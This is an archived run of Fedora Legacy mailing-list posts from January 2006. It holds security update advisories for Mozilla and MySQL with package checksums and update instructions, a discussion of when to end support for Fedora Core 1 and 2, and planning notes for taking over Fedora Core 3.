ff7b95a361c1d7687e9cffef62e069731652fdb2 fedora/1/updates/i386/mozilla-nss-devel-1.7.12-1.1.1.legacy.i386.rpm 78828bdf69c50385edce0ce157ec0eb6fc08146c fedora/1/updates/SRPMS/mozilla-1.7.12-1.1.1.legacy.src.rpm 06a88b65df00bd254ec70948c5e37e43d6484af4 fedora/1/updates/i386/epiphany-1.0.8-1.fc1.5.legacy.i386.rpm 7562c2a419340f1d5e3fe57073af7a4f1f126306 fedora/1/updates/SRPMS/epiphany-1.0.8-1.fc1.5.legacy.src.rpm 2b7201d0640279090ba36b881cee56444f12a9b6 fedora/2/updates/i386/mozilla-1.7.12-1.2.1.legacy.i386.rpm 7158928cb2a91dd5acfbbe6d4cd90bdb93060178 fedora/2/updates/i386/mozilla-chat-1.7.12-1.2.1.legacy.i386.rpm c21b66c22ded12a42375d75724673b7a1816543b fedora/2/updates/i386/mozilla-devel-1.7.12-1.2.1.legacy.i386.rpm eddc9d39ddfb6562ad22c793ff9ba945ab4f4f78 fedora/2/updates/i386/mozilla-dom-inspector-1.7.12-1.2.1.legacy.i386.rpm 2f95ea57e64e31484cdb3ae7c74eddbad8aa43b0 fedora/2/updates/i386/mozilla-js-debugger-1.7.12-1.2.1.legacy.i386.rpm 2853941cb5115c58b0f02f61abe883d00186707b fedora/2/updates/i386/mozilla-mail-1.7.12-1.2.1.legacy.i386.rpm 349a2fe95bf5e792a5dc4b981f1af31b7a02b520 fedora/2/updates/i386/mozilla-nspr-1.7.12-1.2.1.legacy.i386.rpm f48748f29967b40255e8a64620612cc39d497340 fedora/2/updates/i386/mozilla-nspr-devel-1.7.12-1.2.1.legacy.i386.rpm c9c6b6437bb73536aab3848e16d12090c376877d fedora/2/updates/i386/mozilla-nss-1.7.12-1.2.1.legacy.i386.rpm 5e20ad8d5d237a7aec66ca6ed6a5b4de806db106 fedora/2/updates/i386/mozilla-nss-devel-1.7.12-1.2.1.legacy.i386.rpm 428bd0ee614bf6e25d473a82d666e5e9c7212f5a fedora/2/updates/SRPMS/mozilla-1.7.12-1.2.1.legacy.src.rpm 04fd8328845ef860a6a61d3a8f001f8ce1aafcac fedora/2/updates/i386/epiphany-1.2.10-0.2.6.legacy.i386.rpm 005dfc66f6dc4288457983397850db041f845e19 fedora/2/updates/SRPMS/epiphany-1.2.10-0.2.6.legacy.src.rpm 24d7a3574244da838fabb07f1ac91071e8015202 fedora/2/updates/i386/devhelp-0.9.1-0.2.9.legacy.i386.rpm 36480970cf8a3639a956192959ba6f766e6b819e fedora/2/updates/i386/devhelp-devel-0.9.1-0.2.9.legacy.i386.rpm c5c049361828b011e956bce2b07e21724b108ddb fedora/2/updates/SRPMS/devhelp-0.9.1-0.2.9.legacy.src.rpm These packages are GPG signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy.org/about/security.php You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the sha1sum with the following command: sha1sum 8. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2701 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2702 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2703 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2704 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2705 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2706 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2707 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2871 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3089 9. Contact: The Fedora Legacy security contact is . More project details at http://www.fedoralegacy.org --------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature URL: From marcdeslauriers at videotron.ca Wed Jan 11 00:58:33 2006 From: marcdeslauriers at videotron.ca (Marc Deslauriers) Date: Tue, 10 Jan 2006 19:58:33 -0500 Subject: [FLSA-2006:167803] Updated mysql packages fix security issues Message-ID: <43C45839.5020401@videotron.ca> --------------------------------------------------------------------- Fedora Legacy Update Advisory Synopsis: Updated mysql packages fix security issues Advisory ID: FLSA:167803 Issue date: 2006-01-10 Product: Red Hat Linux, Fedora Core Keywords: Bugfix CVE Names: CVE-2005-2558 --------------------------------------------------------------------- --------------------------------------------------------------------- 1. Topic: Updated mysql packages that fix a security issue are now available. MySQL is a multi-user, multi-threaded SQL database server. 2. Relevant releases/architectures: Red Hat Linux 7.3 - i386 Red Hat Linux 9 - i386 Fedora Core 1 - i386 Fedora Core 2 - i386 3. Problem description: Reid Borsuk discovered a buffer overflow in the MySQL init_syms() function. A user with the ability to create and execute a user defined function could potentially execute arbitrary code on the MySQL server. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2005-2558 to this issue. This release fixes two additional problems. A regression was introduced in a patch included in the previous MySQL packages that resulted in queries performing a DELETE without a WHERE failing on ISAM tables. Also, the MySQL init script was improved to allow the MySQL service to restart properly during upgrades. All users of the MySQL server are advised to upgrade to these updated packages, which contain fixes for these issues. 4. Solution: Before applying this update, make sure all previously released errata relevant to your system have been applied. To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directory *only* contains the desired RPMs. Please note that this update is also available via yum and apt. Many people find this an easier way to apply updates. To use yum issue: yum update or to use apt: apt-get update; apt-get upgrade This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. This assumes that you have yum or apt-get configured for obtaining Fedora Legacy content. Please visit http://www.fedoralegacy.org/docs for directions on how to configure yum and apt-get. 5. Bug IDs fixed: https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=167803 6. RPMs required: Red Hat Linux 7.3: SRPM: http://download.fedoralegacy.org/redhat/7.3/updates/SRPMS/mysql-3.23.58-1.73.9.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/7.3/updates/i386/mysql-3.23.58-1.73.9.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/mysql-devel-3.23.58-1.73.9.legacy.i386.rpm http://download.fedoralegacy.org/redhat/7.3/updates/i386/mysql-server-3.23.58-1.73.9.legacy.i386.rpm Red Hat Linux 9: SRPM: http://download.fedoralegacy.org/redhat/9/updates/SRPMS/mysql-3.23.58-1.90.10.legacy.src.rpm i386: http://download.fedoralegacy.org/redhat/9/updates/i386/mysql-3.23.58-1.90.10.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/mysql-devel-3.23.58-1.90.10.legacy.i386.rpm http://download.fedoralegacy.org/redhat/9/updates/i386/mysql-server-3.23.58-1.90.10.legacy.i386.rpm Fedora Core 1: SRPM: http://download.fedoralegacy.org/fedora/1/updates/SRPMS/mysql-3.23.58-4.7.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/1/updates/i386/mysql-3.23.58-4.7.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/mysql-bench-3.23.58-4.7.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/mysql-devel-3.23.58-4.7.legacy.i386.rpm http://download.fedoralegacy.org/fedora/1/updates/i386/mysql-server-3.23.58-4.7.legacy.i386.rpm Fedora Core 2: SRPM: http://download.fedoralegacy.org/fedora/2/updates/SRPMS/mysql-3.23.58-16.FC2.4.legacy.src.rpm i386: http://download.fedoralegacy.org/fedora/2/updates/i386/mysql-3.23.58-16.FC2.4.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/mysql-bench-3.23.58-16.FC2.4.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/mysql-devel-3.23.58-16.FC2.4.legacy.i386.rpm http://download.fedoralegacy.org/fedora/2/updates/i386/mysql-server-3.23.58-16.FC2.4.legacy.i386.rpm 7. Verification: SHA1 sum Package Name --------------------------------------------------------------------- fc12c406faa476c68044f6cc55ef289ee64edd43 redhat/7.3/updates/i386/mysql-3.23.58-1.73.9.legacy.i386.rpm 0ddd640a8eb48f15be6dfa16193294c161af6f06 redhat/7.3/updates/i386/mysql-devel-3.23.58-1.73.9.legacy.i386.rpm 9d91d1c9e1fbc3900ee46200b8e99e02343403bf redhat/7.3/updates/i386/mysql-server-3.23.58-1.73.9.legacy.i386.rpm 1ea88dbbee2c1b136d6f7326311f34bc2f06b662 redhat/7.3/updates/SRPMS/mysql-3.23.58-1.73.9.legacy.src.rpm 7a7431019a27c72d30aa64a0a0da8bcad9067cb4 redhat/9/updates/i386/mysql-3.23.58-1.90.10.legacy.i386.rpm 82fec8ab130c4dec08ecfe1dbef75ba0abdd7726 redhat/9/updates/i386/mysql-devel-3.23.58-1.90.10.legacy.i386.rpm 176f6d7342a52ec00c5e47669a405daebf9aa8f7 redhat/9/updates/i386/mysql-server-3.23.58-1.90.10.legacy.i386.rpm 082453bd8f04d9873f8f4ceed156eccb75ff17e7 redhat/9/updates/SRPMS/mysql-3.23.58-1.90.10.legacy.src.rpm 31953697a34b43940cdc2405882a98ae830314f5 fedora/1/updates/i386/mysql-3.23.58-4.7.legacy.i386.rpm 00603040c3dc235756c6d34d28fac65abc2b0ccc fedora/1/updates/i386/mysql-bench-3.23.58-4.7.legacy.i386.rpm 07d27d3a6bb190caaf6edb89e2bbb88def731943 fedora/1/updates/i386/mysql-devel-3.23.58-4.7.legacy.i386.rpm 7de50d6aec5cf7d793160ba6e5cc8d9815cff04a fedora/1/updates/i386/mysql-server-3.23.58-4.7.legacy.i386.rpm 50855095329226b221e5c52bcb21acf01a49eed8 fedora/1/updates/SRPMS/mysql-3.23.58-4.7.legacy.src.rpm 5b0c9bc3adb6364c5a3bc32f85e07c19826e6cdd fedora/2/updates/i386/mysql-3.23.58-16.FC2.4.legacy.i386.rpm 38a38204a685e28bd22275366e5658e6885292db fedora/2/updates/i386/mysql-bench-3.23.58-16.FC2.4.legacy.i386.rpm e5cc1389ad802349deda379cce794d54037b9ee7 fedora/2/updates/i386/mysql-devel-3.23.58-16.FC2.4.legacy.i386.rpm fab91a3a36cc33664e6c9bd8362cb0a2fc1046b1 fedora/2/updates/i386/mysql-server-3.23.58-16.FC2.4.legacy.i386.rpm 3b7ddf0b117224349ef505b4d864f87f4135d7d9 fedora/2/updates/SRPMS/mysql-3.23.58-16.FC2.4.legacy.src.rpm These packages are GPG signed by Fedora Legacy for security. Our key is available from http://www.fedoralegacy.org/about/security.php You can verify each package with the following command: rpm --checksig -v If you only wish to verify that each package has not been corrupted or tampered with, examine only the sha1sum with the following command: sha1sum 8. References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2558 9. Contact: The Fedora Legacy security contact is . More project details at http://www.fedoralegacy.org --------------------------------------------------------------------- -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature URL: From pekkas at netcore.fi Wed Jan 11 10:00:20 2006 From: pekkas at netcore.fi (Pekka Savola) Date: Wed, 11 Jan 2006 12:00:20 +0200 (EET) Subject: EOL planning In-Reply-To: <20060104120741.GA11481@neu.nirvana> References: <20060104120741.GA11481@neu.nirvana> Message-ID: On Wed, 4 Jan 2006, Axel Thimm wrote: > according to original planning, the following EOL dates apply: > > RH7.3,RH9: as long as community wants > FC1: until the release of FC4 > FC2: until the release of FC5 > > is this still reflecting the current setup? Is there some kind of > statistics on the master server about which distribution is still in > use? So, what's our approach here? Do we drop support for FC1 in all the subsequent updates (those where packages haven't been proposed yet)? Do we drop FC2 at the same time as we pick up FC3? -- Pekka Savola "You each name yourselves king, yet the Netcore Oy kingdom bleeds." Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings From deisenst at gtw.net Sat Jan 14 20:24:52 2006 From: deisenst at gtw.net (David Eisenstein) Date: Sat, 14 Jan 2006 14:24:52 -0600 (CST) Subject: EOL planning (and observations) In-Reply-To: Message-ID: On Wed, 11 Jan 2006, Pekka Savola wrote: > On Wed, 4 Jan 2006, Axel Thimm wrote: > > according to original planning, the following EOL dates apply: > > > > RH7.3,RH9: as long as community wants > > FC1: until the release of FC4 > > FC2: until the release of FC5 > > > > is this still reflecting the current setup? Is there some kind of > > statistics on the master server about which distribution is still in > > use? > > So, what's our approach here? Do we drop support for FC1 in all the > subsequent updates (those where packages haven't been proposed yet)? > Do we drop FC2 at the same time as we pick up FC3? I am not sure Axel's reckoning of EOL dates for FC1 and FC2 is quite right. My understanding was that FC1 was to have been dropped when FC5 became reality (or nearly reality) and that we would pick up FC3 at that time. That way we would be supporting two Fedora Core EOL'ed distros at any given time, as well as the two Red Hat distros. However, Jesse Keating indicated, and I tend to agree (admittedly for selfish reasons), that he is not willing to drop support for FC1 when FC5 Test 2 comes out and we're to inherit FC3: (from , "Re: 8 more days 'til we inherit FC3; are we ready??; FWD: Fedora Core 3 Status Update"): On Thu, 15 Dec 2005 at 18:41:33 -0800, Jesse Keating wrote: > On Thu, 2005-12-15 at 20:30 -0600, David Eisenstein wrote: > > Hi, > > > > In just a little over a week, we are scheduled to inherit Fedora Core 3. > > I suppose at the same time, we will be dropping Fedora Core 1 (though I > > wish we weren't -- we seem to have a lot more postings of parties > > interested in FC1 than we have interested in FC2, and we get more votes > > and QA testing on FC1 than FC2 in bugzilla). > > > > Are we ready? What do we need to prepare for maintaining FC3? > > A few last minute syncups and maybe touching a config file or two and > we'll be ready. > > At this time I am not prepared to drop FC1. We have a significant user > base that is still supporting us in our FC1 tasks and I will not abandon > them. My observation is that we've had more people voting and participating and expressing interest in FC1 issues than FC2 issues. I am one continuing to run FC1 and contribute. So I am wondering -- if we need to drop a distro at FC5 Test 2 time, should we drop FC2, for lack of interest (and lack of *contributors*)? Or do we have some kind of "silent majority" really needing FC2 support to continue? Another observation is that supporting even FOUR distros, with the amount of work we have lately had going into the maintenance of these distros, might be biting off more than we can chew ... or at least to chew and chew well with current levels of package-building and QA participation. When broad support for any given vulnerability is expressed here in our forum, things get hopping: Like what happened for PHP back in November. But in general people are not submitting packages for testing/QA very much lately (I'm guilty of this too), and when packages *are* being submitted for Quality Assurance, we seem to only have three or four people bothering to vote in Bugzilla so we can push issues to the next stage and close them. Perhaps we're getting lazy?? ** "If it's to be, it's up to me." What do you say, folks? Regards, David Eisenstein ------- footnote: ** For example, we've had a Perl bug open across two Bugzillas and well over a year now. (Admittedly, this is the first time Fedora Legacy has attempted to update Perl, and there have been some thorny issues to overcome.) Perl is a pretty important package to many, because it's a work-horse language that most Linux distros cannot do without. But we've simply not seen people willing to go in and test and vote on these Perl packages. Currently it's in Red Hat Bugzilla, Bug #152845, and is in the "updates-testing" stage needing us to download and test the binaries. Pekka has stepped in to do QA on the RHL 9 and RHL 7.3 versions, but we still need testing on FC1 and FC2 versions. I'd like to see these Perl packages published soon, because yet another vulnerability has cropped up and needs new packages (this is Bugzilla Bug #176731 -- for CVE-2005-3962 format string vulnerability). (I would vote, but I am not supposed to: I built the updates-testing packages, and it needs new eyes to see things I may have overlooked.) From Axel.Thimm at ATrpms.net Sat Jan 14 21:01:16 2006 From: Axel.Thimm at ATrpms.net (Axel Thimm) Date: Sat, 14 Jan 2006 22:01:16 +0100 Subject: EOL planning (and observations) In-Reply-To: References: Message-ID: <20060114210116.GE10980@neu.nirvana> On Sat, Jan 14, 2006 at 02:24:52PM -0600, David Eisenstein wrote: > On Wed, 11 Jan 2006, Pekka Savola wrote: > > > On Wed, 4 Jan 2006, Axel Thimm wrote: > > > according to original planning, the following EOL dates apply: > > > > > > RH7.3,RH9: as long as community wants > > > FC1: until the release of FC4 > > > FC2: until the release of FC5 > > > > > > is this still reflecting the current setup? Is there some kind of > > > statistics on the master server about which distribution is still in > > > use? > > > > So, what's our approach here? Do we drop support for FC1 in all the > > subsequent updates (those where packages haven't been proposed yet)? > > Do we drop FC2 at the same time as we pick up FC3? > > I am not sure Axel's reckoning of EOL dates for FC1 and FC2 is quite > right. I just used the wording at http://fedoralegacy.org/about/faq.php | In short, Fedora Legacy will provide updates for any Fedora Core | releases up to two versions back from the current release. E.g. if the current release is FC4, then FL supports back to FC2 inclusive. Anyway, it's more important what people think today. The quote above may be miswriten/misinterpreted. > My understanding was that FC1 was to have been dropped when FC5 > became reality (or nearly reality) and that we would pick up FC3 at that > time. [...] > However, Jesse Keating indicated, and I tend to agree (admittedly > for selfish reasons), that he is not willing to drop support for FC1 > when FC5 Test 2 comes out and we're to inherit FC3: OK, I read this as no FL-EOLs for any distro until early FC6. :) -- Axel.Thimm at ATrpms.net -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available URL: From jkeating at j2solutions.net Sun Jan 15 16:32:16 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Sun, 15 Jan 2006 11:32:16 -0500 Subject: EOL planning (and observations) In-Reply-To: <20060114210116.GE10980@neu.nirvana> References: <20060114210116.GE10980@neu.nirvana> Message-ID: <1137342736.2780.2.camel@ender> On Sat, 2006-01-14 at 22:01 +0100, Axel Thimm wrote: > > E.g. if the current release is FC4, then FL supports back to FC2 > inclusive. Anyway, it's more important what people think today. The > quote above may be miswriten/misinterpreted. > > > My understanding was that FC1 was to have been dropped when FC5 > > became reality (or nearly reality) and that we would pick up FC3 at that > > time. [...] > > However, Jesse Keating indicated, and I tend to agree (admittedly > > for selfish reasons), that he is not willing to drop support for FC1 > > when FC5 Test 2 comes out and we're to inherit FC3: > > OK, I read this as no FL-EOLs for any distro until early FC6. :) So the support estimates should read 'at least' or something like that. I've always maintained that I would like to continue support as long as there are community members willing to put in the work to make it happen. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From jkeating at j2solutions.net Sun Jan 15 17:01:18 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Sun, 15 Jan 2006 12:01:18 -0500 Subject: Meeting to discuss FC3 readiness Message-ID: <1137344478.2780.11.camel@ender> FC3 is coming our way very soon, like tomorrow. I'd like to schedule a meeting (on IRC) to discuss the last minute readiness stuff. I'm based in GMT -0800 which is US Pacific Standard Time. I don't have any Red Hat meetings filed yet, so my time is fairly open. I'm open for suggestions on meeting times. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From ben at schoolpathways.com Wed Jan 11 09:47:25 2006 From: ben at schoolpathways.com (Benjamin Smith) Date: Wed, 11 Jan 2006 01:47:25 -0800 Subject: issues list(s) In-Reply-To: References: Message-ID: <200601110147.25980.ben@schoolpathways.com> I have one, single system using FL for a FC1 system I use for keeping backups. I'd like to sorta automate the "QAVerfiy" for the numerous packages I've installed from the testinig site It's been happy, and so have I. Why can't we turn that fact into something productive "automagically"? -Ben On Wednesday 30 November 2005 11:37, Pekka Savola wrote: > Remember, there's always a need for folks to do some QA testing. See the wiki > for instructions and how to get started: > > http://www.fedoraproject.org/wiki/Legacy/QATesting > > In particular, look at the both of the "missing VERIFY" sections > or "lacking PUBLISH". > > http://www.netcore.fi/pekkas/buglist.html (all) > http://www.netcore.fi/pekkas/buglist-rhl73.html > http://www.netcore.fi/pekkas/buglist-rhl9.html > http://www.netcore.fi/pekkas/buglist-core1.html > http://www.netcore.fi/pekkas/buglist-fc2.html > > -- > Pekka Savola "You each name yourselves king, yet the > Netcore Oy kingdom bleeds." > Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings > > -- > fedora-legacy-list mailing list > fedora-legacy-list at redhat.com > https://www.redhat.com/mailman/listinfo/fedora-legacy-list > > -- "I kept looking around for somebody to solve the problem. Then I realized I am somebody" -Anonymous From ben at schoolpathways.com Thu Jan 12 09:03:58 2006 From: ben at schoolpathways.com (Benjamin Smith) Date: Thu, 12 Jan 2006 01:03:58 -0800 Subject: EOL planning In-Reply-To: <20060104120741.GA11481@neu.nirvana> References: <20060104120741.GA11481@neu.nirvana> Message-ID: <200601120103.58461.ben@schoolpathways.com> I've gotten rid of all FC1 systems except for two that're behind a fairly strict NAT firewall. (so security issues are minimal) I haven't used FC2/3 in any production systems. If FC1 drops when FC4 comes out, it won't bother me much. My remaining RedHat 7.2 systems are being replaced quickly with CentOS 4.X. When FC5 comes out, my only FC3 system gets updated to FC5. -Ben On Wednesday 04 January 2006 04:07, Axel Thimm wrote: > Hi, > > according to original planning, the following EOL dates apply: > > RH7.3,RH9: as long as community wants > FC1: until the release of FC4 > FC2: until the release of FC5 > > is this still reflecting the current setup? Is there some kind of > statistics on the master server about which distribution is still in > use? > > I'm asking wrt ATrpms planning of EOLing these distributions, > too. What I see at ATrpms is that many former RH7.3 and 9 users are > turning to RHEL clones, while FC1 & FC2 users are upgrading to FC4. > > Thanks! > -- > Axel.Thimm at ATrpms.net > -- "I kept looking around for somebody to solve the problem. Then I realized I am somebody" -Anonymous From sheltren at cs.ucsb.edu Mon Jan 16 10:56:33 2006 From: sheltren at cs.ucsb.edu (Jeff Sheltren) Date: Mon, 16 Jan 2006 06:56:33 -0400 Subject: Meeting to discuss FC3 readiness In-Reply-To: <1137344478.2780.11.camel@ender> References: <1137344478.2780.11.camel@ender> Message-ID: <1EDB9FDE-3317-4B75-8388-92951B735BD7@cs.ucsb.edu> On Jan 15, 2006, at 1:01 PM, Jesse Keating wrote: > FC3 is coming our way very soon, like tomorrow. I'd like to > schedule a > meeting (on IRC) to discuss the last minute readiness stuff. I'm > based > in GMT -0800 which is US Pacific Standard Time. I don't have any Red > Hat meetings filed yet, so my time is fairly open. I'm open for > suggestions on meeting times. > I'm four hours ahead of you, but I'm available pretty much all day. Where on IRC would you like to meet? -Jeff From sheltren at cs.ucsb.edu Mon Jan 16 11:07:48 2006 From: sheltren at cs.ucsb.edu (Jeff Sheltren) Date: Mon, 16 Jan 2006 07:07:48 -0400 Subject: EOL planning (and observations) In-Reply-To: <1137342736.2780.2.camel@ender> References: <20060114210116.GE10980@neu.nirvana> <1137342736.2780.2.camel@ender> Message-ID: On Jan 15, 2006, at 12:32 PM, Jesse Keating wrote: > > I've always maintained that I would like to continue support as > long as > there are community members willing to put in the work to make it > happen. I agree with that so long as there are enough users to make it worthwhile. At the same time, adding one more supported distribution to an already overloaded work force may turn out to be the straw that broke the camel's back. My personal observation is that each supported distribution adds a lot of work - first for the package builder, then for initial QA, and then to find people running each distro in order to verify the packages. Of course for certain packages, the patch is simple and it takes an extra minute or two to patch another distro, but in other cases the patch is not so simple, there are version mis- matches, and you have to spend a long time modifying patches to work on a given package. Anyway, I think that perhaps we need to continue supporting FC1 but with the idea in our heads that if things start slowing down too much that we drop it so that we can continue to support the other distributions in a timely manner. -Jeff From mike.mccarty at sbcglobal.net Mon Jan 16 15:58:44 2006 From: mike.mccarty at sbcglobal.net (Mike McCarty) Date: Mon, 16 Jan 2006 09:58:44 -0600 Subject: EOL planning (and observations) In-Reply-To: References: Message-ID: <43CBC2B4.6050604@sbcglobal.net> David Eisenstein wrote: > On Wed, 11 Jan 2006, Pekka Savola wrote: >>On Wed, 4 Jan 2006, Axel Thimm wrote: >> >>>according to original planning, the following EOL dates apply: >>> >>>RH7.3,RH9: as long as community wants >>>FC1: until the release of FC4 >>>FC2: until the release of FC5 I guess this means that I should take FC2 off my machine, and put RH9 on it. :-) [snip] > My observation is that we've had more people voting and participating and > expressing interest in FC1 issues than FC2 issues. I am one continuing to > run FC1 and contribute. So I am wondering -- if we need to drop a distro > at FC5 Test 2 time, should we drop FC2, for lack of interest (and lack of > *contributors*)? Or do we have some kind of "silent majority" really > needing FC2 support to continue? Another way to interpret this is that people don't squawk until they are threatened. I run FC2. I'm very grateful for the efforts of all those here at FC Legacy support. But I have, so far, not posted anything about the FC2 support or lack thereof, because so far it hasn't been an issue. Personally, I'd like to see the support continue forever, and I'd just keep picking up the updates as they arrive :-) > Another observation is that supporting even FOUR distros, with the amount > of work we have lately had going into the maintenance of these distros, > might be biting off more than we can chew ... or at least to chew and chew > well with current levels of package-building and QA participation. I'd hate to see FC Legacy die because it tried to do too much. However, IMO one thing that the Linux world has which hampers its growth is CHURN. The FC Legacy helps alleviate this to a degree. [snip] Mike -- p="p=%c%s%c;main(){printf(p,34,p,34);}";main(){printf(p,34,p,34);} This message made from 100% recycled bits. You have found the bank of Larn. I can explain it for you, but I can't understand it for you. I speak only for myself, and I am unanimous in that! From jkeating at j2solutions.net Mon Jan 16 16:51:49 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Mon, 16 Jan 2006 11:51:49 -0500 Subject: Meeting to discuss FC3 readiness In-Reply-To: <1EDB9FDE-3317-4B75-8388-92951B735BD7@cs.ucsb.edu> References: <1137344478.2780.11.camel@ender> <1EDB9FDE-3317-4B75-8388-92951B735BD7@cs.ucsb.edu> Message-ID: <1137430310.2845.7.camel@ender> On Mon, 2006-01-16 at 06:56 -0400, Jeff Sheltren wrote: > > I'm four hours ahead of you, but I'm available pretty much all day. > Where on IRC would you like to meet? #fedora-legacy on freenode is the best place. I'll be setting a time for today very soon. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From jkeating at j2solutions.net Mon Jan 16 18:14:26 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Mon, 16 Jan 2006 13:14:26 -0500 Subject: Meeting to discuss FC3 readiness In-Reply-To: <1137430310.2845.7.camel@ender> References: <1137344478.2780.11.camel@ender> <1EDB9FDE-3317-4B75-8388-92951B735BD7@cs.ucsb.edu> <1137430310.2845.7.camel@ender> Message-ID: <1137435266.2845.43.camel@ender> On Mon, 2006-01-16 at 11:51 -0500, Jesse Keating wrote: > #fedora-legacy on freenode is the best place. I'll be setting a time > for today very soon. I'd like to suggest 1300 PST which is GMT -0800. So GMT 2100 ? (my math isn't always the greatest). For those of you on US East Coast time, 1600 would be the meeting time, in about 2 hours and 45 minutes. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From jkeating at j2solutions.net Mon Jan 16 21:03:41 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Mon, 16 Jan 2006 13:03:41 -0800 Subject: Meeting happening now in #fedora-legacy on freenode IRC Message-ID: <1137445421.2845.80.camel@ender> THanks. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: This is a digitally signed message part URL: From deisenst at gtw.net Mon Jan 16 21:12:15 2006 From: deisenst at gtw.net (David Eisenstein) Date: Mon, 16 Jan 2006 15:12:15 -0600 (CST) Subject: Meeting has just started... Message-ID: Anyone who gets this message is most welcome to attend. IRC: irc.freenode.net Channel: #fedora-legacy Time: Started about 21:04 GMT -David From jkeating at j2solutions.net Mon Jan 16 23:11:29 2006 From: jkeating at j2solutions.net (Jesse Keating) Date: Mon, 16 Jan 2006 15:11:29 -0800 Subject: Meeting Wrapup Message-ID: <1137453089.13590.9.camel@ender> Attached you'll find the 'minutes' of our meeting. It's just what my irc client logged during the meeting. We discussed: * Webpage update * Sync final RH content to Legacy systems * Get yum conf file out * configure build server to work w/ fc3 * Bugzilla management of existing bugs for fc3 * Official policy wrt x86_64 packages * Official policy wrt Fedora Extras The following action items came from the meeting (with some notes if applicable) ACTION: mether will make changes to wiki ACTION: jkeating will communicate w/ Eric R to setup meeting for web content changes, or find alternative web author ACTION: jkeating will find out if fc3 only uses the new repodata/ format ACTION: Jeff_S will find / create bugzilla entry to get legacy-yumconf package published. Note: Jeff created bug 177966 for this. ACTION: jkeating will finish fc3 content sync to master mirror ACTION: jkeating will make necessary changes to mach config so that fc3 packages can be built. ACTION: jkeating will get fc3 component added to bugzilla ACTION: request community to clean up existing fc3 bugs and move/mark/close as necessary ACTION: investigate docs for working w/ bugzilla within Legacy ACTION: Bless a bug migration policy, possibly automate what can be automated. Must bedone before community is let loose on it. ACTION: jkeating will contact RH security team for a report on open security issues that could affect FC3. ACTION: mether to add the x86_64 info to the FAQ :-) ACTION: mether will review this discussion and produce Fedora Extras FAQ entry We also decided to meet again same time on Wed, day after tomorrow: 14:52 Ok, so meeting Wed Jan 18, 2006 at GMT 2100, US PST 1300, US EST 1600 Thanks to those that attended. -- Jesse Keating RHCE (geek.j2solutions.net) Fedora Legacy Team (www.fedoralegacy.org) GPG Public Key (geek.j2solutions.net/jkeating.j2solutions.pub) -------------- next part -------------- 13:01 **** Meeting Start **** 13:01 the purpose of this meeting is to discuss our FC3 transition. 13:02 ::: Anatorian!n=will at ip24-252-149-10.nc.hr.cox.net has joined: #fedora-legacy 13:02 The Fedora Foundation handed it over today (please note FF, not Red Hat), so the ball is now in our court. 13:02 welcome Anatorian 13:02 just here to observer 13:02 ok. 13:02 so we did some pre-work for fc3, and there is some fimal work 